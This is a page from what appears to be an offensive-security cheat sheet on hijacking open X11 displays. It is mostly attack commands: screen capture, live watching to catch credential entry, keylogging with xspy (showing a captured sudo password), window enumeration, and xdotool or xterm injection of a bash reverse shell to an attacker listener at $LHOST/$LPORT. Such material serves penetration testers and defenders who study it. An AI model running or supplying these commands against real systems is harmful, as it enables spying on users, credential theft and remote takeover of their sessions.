Skip to content
HackIndex.io

X11 Session Hijacking

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

An open X11 display allows full interaction with the remote desktop session: capturing screenshots, recording keystrokes, and injecting mouse/keyboard input. This turns display access into command execution as the logged-in user without needing credentials. Confirm access first through X11 open display enumeration.

Screenshot Capture

xwd dumps the root window (entire screen) to an XWD image file. Convert it to PNG for viewing.

┌──(kali㉿kali)-[~]
└─$ xwd -root -display $TARGET_IP:0 -out screenshot.xwd
Explain command
-root Capture the entire root window instead of prompting for a window selection.
-display $TARGET_IP:0 Connect to display :0 on the target host.
┌──(kali㉿kali)-[~]
└─$ convert screenshot.xwd screenshot.png

Requires ImageMagick. Install with apt install imagemagick if not present. Review the screenshot for open terminals, browser sessions, credentials on screen, or application context.

Live Screen Watching

xwatchwin streams a live view of the remote display, updated in real time. Useful for monitoring user activity and waiting for credential entry.

┌──(kali㉿kali)-[~]
└─$ xwatchwin $TARGET_IP:0 -w root
Explain command
-w root Watch the root window (full screen).

Opens a local window showing the remote desktop. The stream is read-only. Ctrl+C to stop.

Keylogging

xspy registers for keyboard events on the remote X server and logs every keystroke the user types, including passwords and sudo prompts.

┌──(kali㉿kali)-[~]
└─$ xspy -display $TARGET_IP:0 
sudo su -
P@ssw0rd123
cat /etc/shadow

Captures keystrokes in real time. Runs until killed with Ctrl+C. Passwords typed into sudo prompts, SSH connections, and web forms all appear in plaintext.

xspy may not be installed by default on Kali. Install it with apt install xspy or compile from source. Alternative: use xinput to list devices and monitor keyboard events.

Command Injection via xdotool

xdotool synthesizes keyboard and mouse events on the remote display. Combined with a terminal window, this turns display access into command execution as the logged-in user.

┌──(kali㉿kali)-[~]
└─$ DISPLAY=$TARGET_IP:0 xdotool key --clearmodifiers ctrl+alt+t

Ctrl+Alt+T opens a terminal on most Linux desktop environments (GNOME, XFCE, KDE). Wait a moment for the terminal to open before typing.

┌──(kali㉿kali)-[~]
└─$ DISPLAY=$TARGET_IP:0 xdotool type --clearmodifiers 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
┌──(kali㉿kali)-[~]
└─$ DISPLAY=$TARGET_IP:0 xdotool key Return

Type the command, then send Enter. The reverse shell connects back to your listener. Ensure nc -lvnp is running first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

If the desktop environment does not respond to Ctrl+Alt+T, use xdotool to type a command that opens a terminal explicitly:

┌──(kali㉿kali)-[~]
└─$ DISPLAY=$TARGET_IP:0 xterm -e 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' &

Spawns an xterm window on the remote display that immediately runs the reverse shell. The victim will see the xterm window appear briefly.

Window Enumeration

List all open windows on the remote display to identify what applications the user has running.

┌──(kali㉿kali)-[~]
└─$ DISPLAY=$TARGET_IP:0 xdotool search --name '' getwindowname 
Terminal - user@target:~
Firefox
Files

Window titles reveal running applications, open file paths, and browser tabs. Look for password managers, admin panels, or sensitive documents.

References